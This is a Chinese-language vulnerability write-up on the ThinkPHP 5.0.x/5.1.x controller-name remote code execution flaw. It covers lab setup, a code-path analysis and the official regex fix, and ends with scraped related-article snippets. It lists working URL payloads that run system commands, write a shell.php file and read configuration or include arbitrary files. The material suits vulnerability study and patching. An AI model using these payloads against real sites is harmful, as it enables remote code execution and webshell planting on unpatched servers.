关键词:
漏洞概要
- 本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致远程代码执行漏洞的产生
- 漏洞影响版本:
5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30
初始配置
获取测试环境代码
composer create-project --prefer-dist topthink/think tpdemo
将 composer.json 文件的 require 字段设置成如下
"require":
"php": ">=5.6.0",
"topthink/framework": "5.1.30"
,
然后执行
composer update
漏洞利用
Payload
5.1.x
?s=index/\\think\\Request/input&filter[]=system&data=pwd
?s=index/\\think\\view\\driver\\Php/display&content=<?php phpinfo();?>
?s=index/\\think\\template\\driver\\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x
?s=index/think\\config/get&name=database.username # 获取配置信息
?s=index/\\think\\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\\think\\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
漏洞分析
默认情况下安装的 ThinkPHP 是没有开启强制路由选项,而且默认开启路由兼容模式
没有开启强制路由说明可以使用路由兼容模式
s
参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器,那么可以试着利用http://site/?s=模块/控制器/方法
来测试一下;在先前的 ThinkPHP SQL注入 分析文章中有提到所有用户参数都会经过Request
类的input
方法处理,该方法会调用filterValue
方法,而filterValue
方法中使用了call_user_func
,那么来尝试利用这个方法
http://127.0.0.1/cms/public/?s=index/\\think\\Request/input&filter[]=phpinfo&data=1
查阅其 commit 记录,发现其增加了对控制器名的检测
跟进
thinkphp/library/think/route/dispatch/Module.php
,在$controller
代码段打下断点,可以看到控制器的名字是从$result
中获取的,而$result
的值来源于兼容模式下的pathinfo
,即s
参数
跟进
thinkphp/library/think/App.php
,进入App
类的run
方法,进而调用Dispatch
类的run
方法,跟进thinkphp/library/think/route/Dispatch.php
,发现该方法会调用关键函数exec
在
exec
函数中,程序利用反射机制,调用类的方法,这里的类、方法、参数均是可控的,而且整个过程并没有看到程序对控制器名的合法性进行检测,这也是导致远程代码执行漏洞的直接原因
以上是针对 ThinkPHP5.1.x 版本的漏洞分析,如果直接拿该版本的 payload 去测试 ThinkPHP5.0.x 版本,会发现很多 payload 都不能成功,其原因是两个大版本已加载的类不同,导致可利用的类也不尽相同
ThinkPHP 5.1.x ThinkPHP 5.0.x
stdClass stdClass
Exception Exception
ErrorException ErrorException
Closure Closure
Generator Generator
DateTime DateTime
DateTimeImmutable DateTimeImmutable
DateTimeZone DateTimeZone
DateInterval DateInterval
DatePeriod DatePeriod
LibXMLError LibXMLError
DOMException DOMException
DOMStringList DOMStringList
DOMNameList DOMNameList
DOMImplementationList DOMImplementationList
DOMImplementationSource DOMImplementationSource
DOMImplementation DOMImplementation
DOMNode DOMNode
DOMNameSpaceNode DOMNameSpaceNode
DOMDocumentFragment DOMDocumentFragment
DOMDocument DOMDocument
DOMNodeList DOMNodeList
DOMNamedNodeMap DOMNamedNodeMap
DOMCharacterData DOMCharacterData
DOMAttr DOMAttr
DOMElement DOMElement
DOMText DOMText
DOMComment DOMComment
DOMTypeinfo DOMTypeinfo
DOMUserDataHandler DOMUserDataHandler
DOMDomError DOMDomError
DOMErrorHandler DOMErrorHandler
DOMLocator DOMLocator
DOMConfiguration DOMConfiguration
DOMCdataSection DOMCdataSection
DOMDocumentType DOMDocumentType
DOMNotation DOMNotation
DOMEntity DOMEntity
DOMEntityReference DOMEntityReference
DOMProcessingInstruction DOMProcessingInstruction
DOMStringExtend DOMStringExtend
DOMXPath DOMXPath
finfo finfo
LogicException LogicException
BadFunctionCallException BadFunctionCallException
BadMethodCallException BadMethodCallException
DomainException DomainException
InvalidArgumentException InvalidArgumentException
LengthException LengthException
OutOfRangeException OutOfRangeException
RuntimeException RuntimeException
OutOfBoundsException OutOfBoundsException
OverflowException OverflowException
RangeException RangeException
UnderflowException UnderflowException
UnexpectedValueException UnexpectedValueException
RecursiveIteratorIterator RecursiveIteratorIterator
IteratorIterator IteratorIterator
FilterIterator FilterIterator
RecursiveFilterIterator RecursiveFilterIterator
CallbackFilterIterator CallbackFilterIterator
RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator
ParentIterator ParentIterator
LimitIterator LimitIterator
CachingIterator CachingIterator
RecursiveCachingIterator RecursiveCachingIterator
NoRewindIterator NoRewindIterator
AppendIterator AppendIterator
InfiniteIterator InfiniteIterator
RegexIterator RegexIterator
RecursiveRegexIterator RecursiveRegexIterator
EmptyIterator EmptyIterator
RecursiveTreeIterator RecursiveTreeIterator
ArrayObject ArrayObject
ArrayIterator ArrayIterator
RecursiveArrayIterator RecursiveArrayIterator
SplFileInfo SplFileInfo
DirectoryIterator DirectoryIterator
FilesystemIterator FilesystemIterator
RecursiveDirectoryIterator RecursiveDirectoryIterator
GlobIterator GlobIterator
SplFileObject SplFileObject
SplTempFileObject SplTempFileObject
SplDoublyLinkedList SplDoublyLinkedList
SplQueue SplQueue
SplStack SplStack
SplHeap SplHeap
SplMinHeap SplMinHeap
SplMaxHeap SplMaxHeap
SplPriorityQueue SplPriorityQueue
SplFixedArray SplFixedArray
SplObjectStorage SplObjectStorage
MultipleIterator MultipleIterator
SessionHandler SessionHandler
ReflectionException ReflectionException
Reflection Reflection
ReflectionFunctionAbstract ReflectionFunctionAbstract
ReflectionFunction ReflectionFunction
ReflectionParameter ReflectionParameter
ReflectionMethod ReflectionMethod
ReflectionClass ReflectionClass
ReflectionObject ReflectionObject
ReflectionProperty ReflectionProperty
ReflectionExtension ReflectionExtension
ReflectionZendExtension ReflectionZendExtension
__PHP_Incomplete_Class __PHP_Incomplete_Class
php_user_filter php_user_filter
Directory Directory
SimpleXMLElement SimpleXMLElement
SimpleXMLIterator SimpleXMLIterator
SoapClient SoapClient
SoapVar SoapVar
SoapServer SoapServer
SoapFault SoapFault
SoapParam SoapParam
SoapHeader SoapHeader
PharException PharException
Phar Phar
PharData PharData
PharFileInfo PharFileInfo
XMLReader XMLReader
XMLWriter XMLWriter
ZipArchive ZipArchive
PDOException PDOException
PDO PDO
PDOStatement PDOStatement
PDORow PDORow
CURLFile CURLFile
Collator Collator
NumberFormatter NumberFormatter
Normalizer Normalizer
Locale Locale
MessageFormatter MessageFormatter
IntlDateFormatter IntlDateFormatter
ResourceBundle ResourceBundle
Transliterator Transliterator
IntlTimeZone IntlTimeZone
IntlCalendar IntlCalendar
IntlGregorianCalendar IntlGregorianCalendar
Spoofchecker Spoofchecker
IntlException IntlException
IntlIterator IntlIterator
IntlBreakIterator IntlBreakIterator
IntlRuleBasedBreakIterator IntlRuleBasedBreakIterator
IntlCodePointBreakIterator IntlCodePointBreakIterator
IntlPartsIterator IntlPartsIterator
UConverter UConverter
JsonIncrementalParser JsonIncrementalParser
mysqli_sql_exception mysqli_sql_exception
mysqli_driver mysqli_driver
mysqli mysqli
mysqli_warning mysqli_warning
mysqli_result mysqli_result
mysqli_stmt mysqli_stmt
Composer\\Autoload\\ComposerStaticInit81a0c33d33d83a86fdd976e2aff753d9 Composer\\Autoload\\ComposerStaticInit8a67cf04fc9c0db5b85a9d897c12a44c
think\\Loader think\\Loader
think\\Error think\\Error
think\\Container think\\Config
think\\App think\\App
think\\Env think\\Request
think\\Config think\\Hook
think\\Hook think\\Env
think\\Facade think\\Lang
think\\facade\\Env think\\Log
env think\\Route
think\\Db
think\\Lang
think\\Request
think\\facade\\Route
route
think\\Route
think\\route\\Rule
think\\route\\RuleGroup
think\\route\\Domain
think\\route\\RuleItem
think\\route\\RuleName
think\\route\\Dispatch
think\\route\\dispatch\\Url
think\\route\\dispatch\\Module
think\\Middleware
think\\Cookie
think\\View
think\\view\\driver\\Think
think\\Template
think\\template\\driver\\File
think\\Log
think\\log\\driver\\File
think\\Session
think\\Debug
think\\Cache
think\\cache\\Driver
think\\cache\\driver\\File
漏洞修复
官方的修复方法是:增加正则表达式
^[A-Za-z](\\w)*$
,对控制器名进行合法性检测
攻击总结
参考Mochazz师傅的审计流程
thinkphp5.0.x远程代码执行(代码片段)
ThinkPHP5.0.x远程代码执行漏洞概要初始配置漏洞利用漏洞分析漏洞修复攻击总结漏洞概要本次漏洞存在于ThinkPHP的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在.php文件中,攻击者通过精心构造的payload,... 查看详情
thinkphp5.0.23远程代码执行漏洞(cve-2018-20062)漏洞复现(代码片段)
...洞复现(工具)修复建议摘抄免责声明漏洞名称ThinkPHP5.0.23远程代码执行漏洞漏洞编号CVE-2018-20062漏洞描述ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致... 查看详情
thinkphp5远程命令执行漏洞
一、ThinkPHP介绍轻量级框架,内部OOP和面向过程代码都存在,是国人自己开发的框架。ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,... 查看详情
thithinkphp5.x远程函数执行与sql注入(代码片段)
正文实验地址:ThinkPHP5.x远程函数执行与sql注入_安全龙-专注做企业网络安全服务与网络安全培训!(anquanlong.com)知识梳理:PoC,全称“ProofofConcept”,中文“概念验证”,常指一段漏洞证明的代码。Exp,全称... 查看详情
php-命令执行乱码的解决(thinkphp5)(代码片段)
文章目录前言一、问题二、解决前言在使用thinkphp的时候又双叒叕遇到了一个bug,在命令执行的时候回显中文信息会乱码软件开发中的乱码PHP:iconv-Manual一、问题有一个demo的操作用于命令执行并将命令执行后的结果传到demo视... 查看详情
thinkphp5.x命令执行漏洞复现及环境搭建(代码片段)
楼主Linux环境是Centos7,LAMP怎么搭不用我废话吧,别看错了1.安装composeryum-yinstallcomposer安装php拓展yum-yinstallphp-mysqlphp-gdlibjpeg*php-ldapphp-odbcphp-pearphp-xmlphp-xmlrpcphp-mbstringphp-bcmathphp-mhash-y 2.切换目录到/va 查看详情
网站有漏洞被***该怎么解决和修复
...到网站根目录,甚至直接提权到服务器,该漏洞影响版本ThinkPHP5.0、ThinkPHP5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、ThinkPHP5.0.23、thinkphp5.0.22版本。***者可以伪造远程恶意代码,对服务器进行post提交数据来利用漏洞,该漏洞产生的原因是... 查看详情
thinkphp-漏洞-汇总(代码片段)
ThinkPHP5.x远程命令执行Date2018年末影响范围5.x<5.1.31,<=5.0.23 Orderby注入漏洞Date2018.8影响范围v3<=ThinkPHP3.2.3v5<=5.1.22 查看详情
markdownpython多线程远程执行命令(代码片段)
pythonpython的pickle远程代码执行有效负载模板。(代码片段)
批量远程执行命令(代码片段)
批量远程执行命令在一台机器上远程到多台机器上执行多条命令,怎么实现呢?写一个登录到多台机器并执行命令的脚本文件remote-exec-command.shvim/usr/local/sbin/expect/remote-exec-command.sh#!/usr/bin/expectsethost[lindex$argv0]setcommand[lindex$argv1]set... 查看详情
远程代码执行漏洞(代码片段)
...P限制。ApacheAPISIX的默认配置(带有默认的API密钥)容易受到远程代码执行的攻击。当管理密钥更改或管理API端口更改为与数据面板不同的端口时,影响较小。但是,绕过ApacheAPISIX数据面板的IP限制仍然存在风险。在batch-reques... 查看详情
远程执行命令(代码片段)
一、需求#server下发命令#client执行命令#ssh协议#importos#ret=os.popen(‘ls‘).read()#print(ret)importsubprocess#内置模块和os模块的功能有相似之处#能执行操作系统的命令的功能ret=subprocess.Popen(‘dir‘,#要执行的命令shell=True,#表示要执行的是一... 查看详情
javajavassh远程执行命令并且获取执行的结果(代码片段)
文章目录1.概述1.概述因为部署到不同的环境,需要远程执行一些命令,然后获取一些信息。因此写了如下代码因为包<dependency><groupId>ch.ethz.ganymed</groupId> 查看详情
ssh远程执行命令(代码片段)
SSH是Linux下进行远程连接的基本工具,但是如果仅仅用它来登录那可是太浪费啦!SSH命令可是完成远程操作的神器啊,借助它我们可以把很多的远程操作自动化掉!下面就对SSH的远程操作功能进行一个小小的总结。远程执行命令... 查看详情
socket远程执行命令(代码片段)
两个脚本模拟远程执行命令cmd_server.pyimportsocketimportsubprocesssk=socket.socket()addess=(‘127.0.0.1‘,8000)sk.bind(addess)sk.listen(3)conn,addr=sk.accept()print(‘有客户端连接:‘,addr)data=conn.recv(1024)obj=subprocess. 查看详情
远程执行命令(代码片段)
服务器:#远程执行命令fromsocketimport*importsubprocessip_port=(‘127.0.0.1‘,8080)back_log=5buffer_size=1024tcp_server=socket(AF_INET,SOCK_STREAM)tcp_server.bind(ip_port)tcp_server.listen(back_log)whileTrue:conn, 查看详情
eos节点远程代码执行漏洞细节(代码片段)
这是一个缓冲区溢出越界写漏洞漏洞存在于在libraries/chain/webassembly/binaryen.cpp文件的78行,Functionbinaryen_runtime::instantiate_module:for(auto&segment:module->table.segments)Addressoffset=ConstantExpressionRunner&l 查看详情